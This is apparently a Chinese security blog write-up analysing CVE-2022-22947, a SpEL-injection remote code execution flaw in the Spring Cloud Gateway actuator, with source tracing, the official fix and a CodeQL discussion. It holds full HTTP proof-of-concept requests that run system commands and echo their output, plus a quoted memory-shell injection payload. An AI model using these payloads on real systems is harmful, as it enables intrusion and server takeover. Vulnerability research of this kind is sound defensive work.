CVE-2022-22947 Spring Cloud Gateway RCE

漏洞信息

漏洞编号:CVE-2022-22947
影响版本:3.1.1+3.0.7+ 之前的 Spring Cloud Gateway 版本
漏洞描述:在 3.1.1+3.0.7+ 之前的 Spring Cloud Gateway 版本中,当启用、暴露和不安全的 Gateway Actuator 端点时,应用程序容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求,允许在远程主机上进行任意远程执行。
漏洞补丁:Commit

漏洞分析

Spring Cloud Gateway 的 SSRF

本节是对panda师傅文章的学习与总结
官方文档中提到,通过Spring Cloud Gateway 执行器(actuator)提供的管理功能就可以对路由进行添加、删除等操作。
1
官方示例如下
2
根据官方示例,师傅提供了添加路由的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Content-Type: application/json

{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/new_route/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "/new_route(?<path>.*)",
"_genkey_1": "/${path}"
}
}
],
"uri": "https://www.cnpanda.net",
"order": 0
}

然后在执行 refresh 操作后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Content-Type: application/json

{
"predicate": "Paths: [/new_route], match trailing slash: true",
"route_id": "new_route",
"filters": [
"[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]"
],
"uri": "https://www.xxx.net",
"order": 0
}

最后直接访问/new_route/index.php,就可以成功执行了一个SSRF请求,即访问到了https://www.xxx.net

payload为什么这么写?

与上文提到的官方示例进行对比,发现区别就在filter这里。
而纵观整个payload,实际上可以发现,其就是一个动态路由的配置过程。
Spring Cloud Gateway中,路由的配置分为静态配置和动态配置,对于静态配置而言,一旦要添加、修改或者删除内存中的路由配置和规则,就必须重启才可以。但在现实生产环境中,使用 Spring Cloud Gateway 都是作为所有流量的入口,为了保证系统的高可用性,需要尽量避免系统的重启,因而一般情况下,Spring Cloud Gateway使用的都是动态路由。
Spring Cloud Gateway 配置动态路由的方式有两种,第一种就是比较常见的,通过重写代码,实现一套动态路由方法,如这里就有一个动态路由的配置过程。第二种就是上文中SSRF这种方式,但是这种方式是基于jvm内存实现,一旦服务重启,新增的路由配置信息就是完全消失了。
所以其实payload就是比较固定的格式,首先定义一个谓词(predicates),用来匹配来自用户的请求,然后再增加一个内置或自定义的过滤器(filters),用于执行额外的功能逻辑。

payloadfilter中用的是重写路径过滤器(RewritePath),类似的还有设置路径过滤器(SetPath)、去掉URL前缀过滤器(StripPrefix)等,具体可以参考gateway内置的filter这张图:
3
以及gateway内置的Global Filter图:
4
至此,我们就能搞懂payload这么写的原因了

整个请求流程

还是如上例所演示的,当在浏览器中向127.0.0.1:8080地址发起根路径为/new_route的请求时,会被 Spring Cloud Gateway 转发请求到https://www.xxx.net/的根路径下

比如,我们向127.0.0.1:8080地址发起为/new_route/index.php的请求,那么实际上会被 Spring Cloud Gateway 转发请求到https://www.xxx.net/index.php的路径下,官方在其官方文档(Spring Cloud GateWay工作流程)简单说明了流程:
5
关于请求流程更详细的分析可以去看panda师傅文章

CVE-2022-22947 分析

ssrf部分的分析是为了对这个洞更加熟悉一点,和这个洞没有太强的相关性
通过查看diff,看到使用GatewayEvaluationContext替换StandardEvaluationContext
6
可以发现属于SpEL造成的RCE
这样我们直接下载源码,然后进行回溯

1
2
3
git clone https://github.com/spring-cloud/spring-cloud-gateway.git
cd spring-cloud-gateway
git checkout v3.1.0

然后在源码中对StandardEvaluationContext进行全局搜索或是根据diff查看代码位置。在org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue方法中,可以看到spel的使用。panda师傅也说可以根据这个diff得出结论:在动态添加路由的过程中,某个filter可以对传入进来的值进行SpEL表达式解析,从而造成了远程代码执行漏洞。
7
打一下断点,看一下谁用了getValue方法
首先先创建路由,filter中填充spel表达式,然后refresh执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Content-Length: 123
Content-Type: application/json
Connection: close

{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"replacement":
"#{T(java.lang.Runtime).getRuntime().exec(\"cmd\")}"
}}]
}

8

注意,由于gateway actuator endpoint的内容类型是JSON,所以包含了反斜杠。

另外这里args中键名要填充replacement属性,不然会报空指针
9
调用栈如下:
10
org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#convertToRoute开始,getFilters(routeDefinition)方法获取了我们第一步的配置信息
11
接着将路由的idfilters字段中的信息传入loadGatewayFilters方法
12
然后进行bind
13
bind方法中调用了normalizeProperties方法
14
normalizeProperties()方法里,会将filter的配置属性传入normalize
15
继而走到getValue方法中
16
最后进行SpEL处理
17

下面这个poc也可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: localhost:8080
Connection: close
Content-Type: application/json
Content-Length: 397

{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/new_route/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/xl_test\")}",
"_genkey_1": "/${path}"
}
}
],
"uri": "https://www.cnpanda.net",
"order": 0
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Content-Type: application/json
Content-Length: 239

{
"predicate": "Paths: [/new_route], match trailing slash: true",
"route_id": "new_route",
"filters": [
"[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]"
],
"uri": "https://www.cnpanda.net",
"order": 0
}

最后直接访问/new_route即可

另外,c0ny1师傅也提供了一个高可用的payload

  • 解决BCEL/js引擎兼容性问题
  • 解决base64在不同版本jdk的兼容问题
  • 可多次运行同类名字节码
  • 解决可能导致的ClassNotFound问题
1
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

回显

这里复现一下Y4er师傅的分析
根据上面的分析,可知通过getValue()函数可以将args的value执行spel表达式,并且保存为properties,那么properties在哪里可以返回给我们的http response呢?
org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory#apply中,将config的键值对添加到header
18
Y4er师傅的poc我本地测试失败,这里用的是网上的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Content-Length: 397
Content-Type: application/json
Connection: close

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

这里注意几个问题
首先一定要传uriorder,否则爆空指针异常。因为在org.springframework.cloud.gateway.route.Route#async(org.springframework.cloud.gateway.route.RouteDefinition)函数中对routeDefinition参数进行了处理,所以必须要有uriorder
第二个问题是value必须是一个String类型,否则在bind的时候会报类型不匹配异常。因为AddResponseHeaderGatewayFilterFactory采用的配置是NameValueConfig实例,而valuestring类型。

refresh之后访问即可回显

19

cmdwhoami时的回显

20

打完之后可以删除路由,refresh后生效

1
2
3
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Connection: close

panda师傅提醒,在实际环境中,如果由于某种原因删除不起作用,有可能会导致刷新请求失败,那么就会有可能会导致站点出现问题,所以在实际测试的过程中,建议别乱搞,不然就要重启站点了。

这里有一个陈师傅提供的一个实例https://github.com/API-Security/APISandbox/tree/main/OASystem

漏洞修复

Commit 中进行了修复
由于是SpEL表达式注入漏洞,而引起这个漏洞的原因一般是使用了 StandardEvaluationContext 方法去解析表达式,解析表达式的方法有两个:

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用。而StandardEvaluationContext 支持全部SpEL语法。所以根据功能描述,将StandardEvaluationContext方法用 SimpleEvaluationContext 方法替换即可。

官方的修复方法是利用 BeanFactoryResolver 的方式去引用Bean,然后将其传入官方自己写的一个解析的方法GatewayEvaluationContext

官方还建议如果不需要Gateway actuatorendpoint功能,就关了它吧,如果需要,那么就利用 Spring Security 对其进行保护,具体的保护方式可以参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security

CodeQL

漏洞发现者在他的文章中介绍,在发现漏洞后,写了一个CodeQL,但是使用默认的CodeQL查询(CWE-094)追踪不到,作者介绍是因为java/ql/lib/semmle/code/java/security/SpelInjectionQuery.qll没有将Mono库作为source
然后作者在SpelInjectionQuery.qll的基础上将SpringManagedResource也作为source,增加额外的来源,这主要是为了检查注解的@RequestBody@RequestParam方法
但是,我这么做直接报错Could not resolve type SpringManagedResource,没看懂这个类,太菜了。找个时间好好看看CodeQL语法

作者介绍如果限制属性访问器(restrictive-property-accessor)被禁用时,DOS仍有效(虽然但是还没复现和研究)

内存马

https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/
https://xz.aliyun.com/t/11331

Reference

https://www.cnpanda.net/sec/1159.html
https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/
https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/